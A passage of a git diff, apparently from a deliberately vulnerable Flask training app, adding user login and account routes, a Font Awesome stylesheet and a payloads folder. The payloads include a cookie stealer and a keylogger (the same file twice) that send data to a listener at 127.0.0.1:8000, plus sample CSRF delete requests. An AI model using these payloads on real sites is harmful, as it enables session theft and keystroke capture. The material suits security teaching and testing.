+ return render_template('user.login.mfa.html')
+
+ response = make_response(redirect('/'))
+ response = libsession.create(response=response, username=username)
+ return response
+
+ return render_template('user.login.mfa.html')
+
+
+@mod_user.route('/create', methods=['GET', 'POST'])
+def do_create():
+
+ session.pop('username', None)
+
+ if request.method == 'POST':
+
+ username = request.form.get('username')
+ password = request.form.get('password')
+ #email = request.form.get('password')
+ if not username or not password:
+ flash("Please, complete username and password")
+ return render_template('user.create.html')
+
+ libuser.create(username, password)
+ flash("User created. Please login.")
+ return redirect('/user/login')
+
+ #session['username'] = libuser.login(username, password)
+
+ #if session['username']:
+ # return redirect('/')
+
+ return render_template('user.create.html')
+
+
+@mod_user.route('/chpasswd', methods=['GET', 'POST'])
+def do_chpasswd():
+
+ if request.method == 'POST':
+
+ password = request.form.get('password')
+ password_again = request.form.get('password_again')
+
+ if password != password_again:
+ flash("The passwords don't match")
+ return render_template('user.chpasswd.html')
+
+ if not libuser.password_complexity(password):
+ flash("The password don't comply our complexity requirements")
+ return render_template('user.chpasswd.html')
+
+ libuser.password_change(g.session['username'], password) # = libuser.login(username, password)
+ flash("Password changed")
+
+ return render_template('user.chpasswd.html')
+
diff --git a/vulpython/bad/payloads/cookie.js b/vulpython/bad/payloads/cookie.js
new file mode 100644
index 0000000..b3a8f8f
--- /dev/null
+++ b/vulpython/bad/payloads/cookie.js
@@ -0,0 +1 @@
+new Image().src = 'http://127.0.0.1:8000/cookie?c='+document.cookie;
diff --git a/vulpython/bad/payloads/hello.html b/vulpython/bad/payloads/hello.html
new file mode 100644
index 0000000..4baefb9
--- /dev/null
+++ b/vulpython/bad/payloads/hello.html
@@ -0,0 +1,10 @@
+
+
+
+
+
+GET www.myapp.com/emails/delete.php?id=5
+DELETE www.myapp.com/emails/delete.php?id=5
+
+
+
diff --git a/vulpython/bad/payloads/keylogger.js b/vulpython/bad/payloads/keylogger.js
new file mode 100644
index 0000000..a422673
--- /dev/null
+++ b/vulpython/bad/payloads/keylogger.js
@@ -0,0 +1,14 @@
+console.log("ACTIVANDO EL KEYLOGGER...");
+var keys='';
+document.onkeypress = function(e) {
+ get = window.event?event:e;
+ key = get.keyCode?get.keyCode:get.charCode;
+ key = String.fromCharCode(key);
+ keys+=key;
+}
+
+setInterval(function(){
+ console.log("Loop");
+ new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;
+ keys = '';
+}, 8000);
diff --git a/vulpython/bad/payloads/payload.js b/vulpython/bad/payloads/payload.js
new file mode 100644
index 0000000..a422673
--- /dev/null
+++ b/vulpython/bad/payloads/payload.js
@@ -0,0 +1,14 @@
+console.log("ACTIVANDO EL KEYLOGGER...");
+var keys='';
+document.onkeypress = function(e) {
+ get = window.event?event:e;
+ key = get.keyCode?get.keyCode:get.charCode;
+ key = String.fromCharCode(key);
+ keys+=key;
+}
+
+setInterval(function(){
+ console.log("Loop");
+ new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;
+ keys = '';
+}, 8000);
diff --git a/vulpython/bad/static/background.png b/vulpython/bad/static/background.png
new file mode 100644
index 0000000..7af9873
Binary files /dev/null and b/vulpython/bad/static/background.png differ
diff --git a/vulpython/bad/static/background.xcf b/vulpython/bad/static/background.xcf
new file mode 100644
index 0000000..75778d9
Binary files /dev/null and b/vulpython/bad/static/background.xcf differ
diff --git a/vulpython/bad/static/font-awesome.min.css b/vulpython/bad/static/font-awesome.min.css
new file mode 100644
index 0000000..540440c
--- /dev/null
+++ b/vulpython/bad/static/font-awesome.min.css
@@ -0,0 +1,4 @@
+/*!
+ * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
+ * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
+ */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o